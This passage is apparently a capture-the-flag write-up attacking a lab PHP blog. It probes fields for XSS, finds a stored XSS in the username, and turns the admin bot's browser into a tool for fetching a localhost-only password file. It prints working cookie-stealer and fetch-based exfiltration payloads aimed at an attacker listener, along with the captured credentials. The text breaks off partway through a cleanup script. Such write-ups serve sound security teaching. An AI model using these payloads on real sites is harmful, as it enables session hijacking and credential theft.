&lt;p&gt;Key hint: a credentials file exists at &lt;code&gt;/dir/pass.txt&lt;/code&gt; on the web server, but it's IP-restricted to &lt;code&gt;127.0.0.1&lt;/code&gt;. Confirmed the path exists with gobuster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;index.php            (Status: 200) [Size: 563]
blog.php             (Status: 200) [Size: 3102]
login.php            (Status: 200) [Size: 523]
register.php         (Status: 200) [Size: 643]
dir                   (Status: 403) [Size: 277]
assets                (Status: 301) [Size: 313] [--&amp;gt; http://&amp;lt;MACHINE_IP&amp;gt;/assets/]
logout.php            (Status: 302) [Size: 0] [--&amp;gt; login.php]
config.php            (Status: 200) [Size: 0]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dir&lt;/code&gt; returning 403 (not 404) confirms the path exists and is being blocked at the web-server level, matching the note's claim.&lt;/p&gt;

&lt;h2&gt;
  
  
  Web App Enumeration
&lt;/h2&gt;

&lt;p&gt;The site is a minimal PHP blog. Landing page links to &lt;code&gt;/blog.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt; Welcome to my personal website. &lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt; Please read my first blog at &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/blog.php"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;blog.php&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/blog.php/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shows a blog post with an existing admin comment, and states you must be logged in to comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;To comment you need to be logged in. To login please visit &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;'/login.php'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;this&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt; link.&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h2&amp;gt;&lt;/span&gt;All comments:&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Name: admin&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;Comment: Hey people, I will be monitoring your comments so please be safe and civil.&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That admin comment - &lt;em&gt;"I will be monitoring your comments"&lt;/em&gt; - strongly implies an &lt;strong&gt;admin bot reviews new comments&lt;/strong&gt;, which is exactly the trigger needed for a blind XSS.&lt;/p&gt;

&lt;p&gt;Registered a test account and logged in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=test&amp;amp;password=test'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Your account has been registered now you may login &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;'/login.php'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;here&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=test&amp;amp;password=test'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;Logged in successfully.&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;You can now comment on blogs, to do so visit &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;'/blog.php'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;blog.php&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed the comment field reflects input &lt;strong&gt;unescaped&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=&amp;lt;ScRiPt&amp;gt;alert(1)&amp;lt;/sCriPt&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Name: test&lt;span class="nt"&gt;&amp;lt;br&amp;gt;&lt;/span&gt;Comment: &lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;alert(1)&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait - that one got HTML-encoded. Tried a few bypass variants to check for a filter vs. straight encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(1)&amp;lt;/scr&amp;lt;/script&amp;gt;ipt&amp;gt;'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=&amp;lt;img src=x onerror=alert(1)&amp;gt;'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=&amp;lt;svg onload=alert(1)&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All came back HTML-encoded in the &lt;code&gt;comment&lt;/code&gt; field too - so the &lt;strong&gt;comment&lt;/strong&gt; field is actually sanitized. But testing the &lt;strong&gt;username&lt;/strong&gt; field on registration told a different story:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;amp;password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;amp;password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=hello'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Name: &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;Comment: hello&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The username rendered as a &lt;strong&gt;live, unescaped &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag&lt;/strong&gt; - no encoding at all. And unlike the comment field, the username is rendered site-wide next to every comment that account posts, giving a persistent injection point that fires every time anyone (including the review bot) loads the page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability: Blind Stored XSS (username field) → SSRF to localhost-restricted resource
&lt;/h2&gt;

&lt;p&gt;Because the admin note explicitly said &lt;code&gt;pass.txt&lt;/code&gt; is restricted to &lt;code&gt;127.0.0.1&lt;/code&gt;, and the admin's review bot presumably browses the page from the box itself, the plan was:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Register an account whose &lt;strong&gt;username&lt;/strong&gt; is a JS payload.&lt;/li&gt;
&lt;li&gt;Log in, post any comment (to make sure the poisoned username renders on the page the bot visits).&lt;/li&gt;
&lt;li&gt;The payload runs in the bot's browser context, which - being local to the server - &lt;em&gt;can&lt;/em&gt; reach &lt;code&gt;127.0.0.1/dir/pass.txt&lt;/code&gt;, bypassing the IP restriction that blocks external attackers.&lt;/li&gt;
&lt;li&gt;Exfiltrate the fetched contents to an attacker-controlled listener.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Attempt 1 - cookie stealer via &lt;code&gt;document.location&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;document.location="http://&amp;lt;ATTACKER_IP&amp;gt;:4444/?c="+document.cookie&amp;lt;/script&amp;gt;&amp;amp;password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies3.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;document.location="http://&amp;lt;ATTACKER_IP&amp;gt;:4444/?c="+document.cookie&amp;lt;/script&amp;gt;&amp;amp;password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies3.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'comment=hi'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Listener never caught anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
^C
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Attempt 2 - externally hosted &lt;code&gt;&amp;lt;script src=...&amp;gt;&lt;/code&gt; payloads
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; steal.js &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
new Image().src = "http://&amp;lt;ATTACKER_IP&amp;gt;:4444/c?" + encodeURIComponent(document.cookie);
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script src=http://&amp;lt;ATTACKER_IP&amp;gt;:8000/steal.js&amp;gt;&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies5.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script src=http://&amp;lt;ATTACKER_IP&amp;gt;:8000/steal.js&amp;gt;&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=test123'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies5.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'comment=hi'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time the bot actually fetched it - confirmed in the Python HTTP server log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="o"&gt;[&lt;/span&gt;10/Aug/2026 06:11:02] &lt;span class="s2"&gt;"GET /steal.js HTTP/1.1"&lt;/span&gt; 200 -
&lt;span class="gp"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="o"&gt;[&lt;/span&gt;10/Aug/2026 06:12:02] &lt;span class="s2"&gt;"GET /steal.js HTTP/1.1"&lt;/span&gt; 200 -
&lt;span class="gp"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="o"&gt;[&lt;/span&gt;10/Aug/2026 06:13:02] &lt;span class="s2"&gt;"GET /steal.js HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms the bot polls the page periodically (roughly once a minute) and executes injected JS with &lt;code&gt;HeadlessChrome&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;listening on [any] 8000 ...
&lt;/span&gt;&lt;span class="gp"&gt;connect to [&amp;lt;ATTACKER_IP&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;MACHINE_IP&amp;gt;] 39740
&lt;span class="go"&gt;GET /steal.js HTTP/1.1
&lt;/span&gt;&lt;span class="gp"&gt;Host: &amp;lt;ATTACKER_IP&amp;gt;&lt;/span&gt;:8000
&lt;span class="gp"&gt;User-Agent: Mozilla/5.0 (X11;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Linux x86_64&lt;span class="o"&gt;)&lt;/span&gt; AppleWebKit/537.36 &lt;span class="o"&gt;(&lt;/span&gt;KHTML, like Gecko&lt;span class="o"&gt;)&lt;/span&gt; HeadlessChrome/71.0.3542.0 Safari/537.36
&lt;span class="go"&gt;Referer: http://127.0.0.1/blog.php
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Referer: http://127.0.0.1/blog.php&lt;/code&gt; confirms the bot loads the page from &lt;code&gt;localhost&lt;/code&gt; - exactly the trust boundary the whole attack depends on. But the cookie-stealer payload wasn't the right data to grab; needed to go after &lt;code&gt;pass.txt&lt;/code&gt; directly instead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attempt 3 - fetch the actual target file
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; pass.js &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
fetch("http://127.0.0.1/dir/pass.txt")
  .then(r =&amp;gt; r.text())
  .then(t =&amp;gt; new Image().src = "http://&amp;lt;ATTACKER_IP&amp;gt;:8000/c?" + encodeURIComponent(t));
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script src=http://&amp;lt;ATTACKER_IP&amp;gt;:8000/pass.js&amp;gt;&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=pass999'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies7.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script src=http://&amp;lt;ATTACKER_IP&amp;gt;:8000/pass.js&amp;gt;&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=pass999'&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies7.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'comment=hi'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script got fetched but the exfil listener on port 8000 was busy serving the &lt;code&gt;.js&lt;/code&gt; file itself, so the outbound &lt;code&gt;Image().src&lt;/code&gt; request needed its own dedicated listener. Rather than juggling ports, switched to an inline payload (no external &lt;code&gt;.js&lt;/code&gt; hosting needed) and a clean listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/register.php &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;fetch("http://127.0.0.1/dir/pass.txt").then(r=&amp;gt;r.text()).then(t=&amp;gt;fetch("http://&amp;lt;ATTACKER_IP&amp;gt;:5555?q="+t,{mode:"no-cors"}))&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=pwn123'&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookie_new.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login.php &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'username=&amp;lt;script&amp;gt;fetch("http://127.0.0.1/dir/pass.txt").then(r=&amp;gt;r.text()).then(t=&amp;gt;fetch("http://&amp;lt;ATTACKER_IP&amp;gt;:5555?q="+t,{mode:"no-cors"}))&amp;lt;/script&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'password=pwn123'&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookie_new.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/blog.php &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'comment=hello'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 5555
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="o"&gt;[&lt;/span&gt;.../..:47:02] &lt;span class="s2"&gt;"GET /?q=jack:WhyIsMyPasswordSoStrongIDK HTTP/1.1"&lt;/span&gt; 200 -
&lt;span class="gp"&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;- - &lt;span class="o"&gt;[&lt;/span&gt;.../..:47:02] &lt;span class="s2"&gt;"GET /?q=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;URL-decoded to confirm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"from urllib.parse import unquote; print(unquote('jack%3AWhyIsMyPasswordSoStrongIDK%0A'))"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;jack:WhyIsMyPasswordSoStrongIDK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cleanup:&lt;/strong&gt; after getting the creds, deleted all the throwaway XSS test accounts' comments with a small loop so the box wasn't left full of junk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; clean_up.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
TARGET="http://&amp;lt;MACHINE_IP&amp;gt;"
delete_comments() {
  local user="&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="sh"&gt;" pass="&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="sh"&gt;"
  local jar=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
  curl -s -c "&lt;/span&gt;&lt;span class="nv"&gt;$jar&lt;/span&gt;&lt;span class="sh"&gt;" -X POST "&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt;/login.php" --data-urlencode "username=&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="sh"&gt;" --data-urlencode "password=&lt;/span&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="sh"&gt;" &amp;gt; /dev/null
  curl -s -b "&lt;/span&gt;&lt;span class="nv"&gt;$jar&lt;/span&gt;&lt;span class="sh"&gt;" -X POST "&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="sh"&gt;/blog.php" -d "delete=Delete" &amp;gt; /dev/null
